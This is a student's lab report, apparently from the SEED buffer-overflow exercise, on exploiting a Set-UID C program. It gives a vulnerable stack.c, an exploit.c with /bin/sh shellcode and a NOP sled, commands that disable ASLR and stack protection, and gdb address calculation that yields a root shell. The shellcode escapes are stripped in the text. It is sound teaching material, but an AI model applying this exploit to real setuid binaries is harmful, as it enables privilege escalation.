【信息安全系统设计基础】缓冲区溢出漏洞实验

目录

• 一、实验描述
• 二、实验内容
• 三、实验任务
• 四、实验任务
  • Task 1: Exploiting the Vulnerability
  • Task 2: Address Randomization
• 五、实验总结

一、实验描述

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

• 缓冲区溢出：程序试图向缓冲区写入超出预分配固定长度数据的情况。
• 缓冲区溢出攻击：通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。
• 防止缓冲区溢出攻击的几种常用保护机制：地址空间随机化、禁止栈执行、“Stack Guard”等。

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二、实验内容

• 在seed-ubuntu-12.04 环境下，利用缓冲区溢出漏洞对用程序进行攻击，从而在其中执行shellcode 达到获取shell 权限的目的。整个实验环境会给出一个stack.c 程序和一个exploit.c 程序。
• 其中，前者stack.c是具有缓冲区溢出漏洞的用户程序，它会从文件中读取数据，并拷贝至自己的缓冲区。后者exploit.c则是需要攻击者精心设计的攻击程序，它会利用用户程序的漏洞产生badfile 文件，从而使用户程序读取badfile 时，被攻击者控制。在实验过程中需要开启可执行栈选项和关闭地址随机化选项，从而更容易定位到栈的地址。
• 在实验楼中完成该实验：实验楼
• 参考资料：缓冲区溢出漏洞实验

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三、实验准备

系统用户名 shiyanlou
实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。
输入命令安装一些用于编译 32 位 C 程序的软件包：

$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev

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四、实验任务

Task 1: Exploiting the Vulnerability

1. 内容

通过修改攻击程序，向攻击程序生成的badfile中写入适当的地址覆盖被攻击程序的返回地址，使其转向攻击者想要运行的一段代码来达到攻击的目的。

2. 步骤

（1）初始设置

Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。
因此本次实验中，我们使用以下命令关闭这一功能：

$ sudo sysctl -w kernel.randomize_va_space=0

此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。
linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：

$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh

输入命令“linux32”进入32位linux环境。此时会发现，命令行用起来没那么爽了，比如不能tab补全了，输入“/bin/bash”使用bash：

（2）shellcode

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
观察以下代码：

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

本次实验的 shellcode，就是刚才代码的汇编版本：

x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80

（3）漏洞程序设置

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];//和原程序不一样的地方在此处,如果没有修改,最终结果会是return properly 无法攻击成功.获得root权限
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly
");
    return 1;
}

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置 SET-UID。命令如下：

$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用–fno-stack-protector关闭这种机制。
而-z execstack用于允许执行栈。-g参数是为了使编译后得到的可执行文档能用 gdb 调试。

（4）攻击程序

我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。
在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "x31xc0" //xorl %eax,%eax
    "x50"     //pushl %eax
    "x68""//sh" //pushl $0x68732f2f
    "x68""/bin"     //pushl $0x6e69622f
    "x89xe3" //movl %esp,%ebx
    "x50"     //pushl %eax
    "x53"     //pushl %ebx
    "x89xe1" //movl %esp,%ecx
    "x99"     //cdq
    "xb0x0b" //movb $0x0b,%al
    "xcdx80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

本次实验中该代码直接提供下载地址，如图：

注意上面的代码，x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址，输入命令：

# gdb 调试

$ gdb stack
$ disass main

添加断点并运行，找到str的地址

根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为：

0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)

实际操作中你的地址和我这里的地址可能不一样，需要根据你实际输出的结果来计算。
现在修改exploit.c文件，将 x??x??x??x?? 修改为 xc4xd0xffxff

然后，编译 exploit.c 程序：

$ gcc -m32 -o exploit exploit.c

（5）攻击结果

运行攻击程序和漏洞程序，输入命令whoami，得到结果root，攻击成功

如果不能攻击成功，提示”段错误“，那么请重新使用 gdb 反汇编，计算内存地址。

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Task 2: Address Randomization

（1）按照实验步骤进行操作，攻击漏洞程序并获得 root 权限。

• 成功√

（2）通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。

• 失败×

• 反汇编重新计算地址并更改

• 还是失败×

• 结论：不能获得root权限

（3）将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。

• 先将 /bin/sh 重新指向 /bin/bash，攻击失败×

• 关闭内存随机化机制后，攻击成功√

• 结论：将 /bin/sh 重新指向 /bin/bash，攻击失败，不能获得root权限；当关闭内存随机化机制时，攻击成功，获得root权限。

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五、实验总结

本次实验不算困难，教程也十分详细，在实验楼中跟着步骤走就能得出最终结果。练习部分需要多加思考，后来也都一一解决了。

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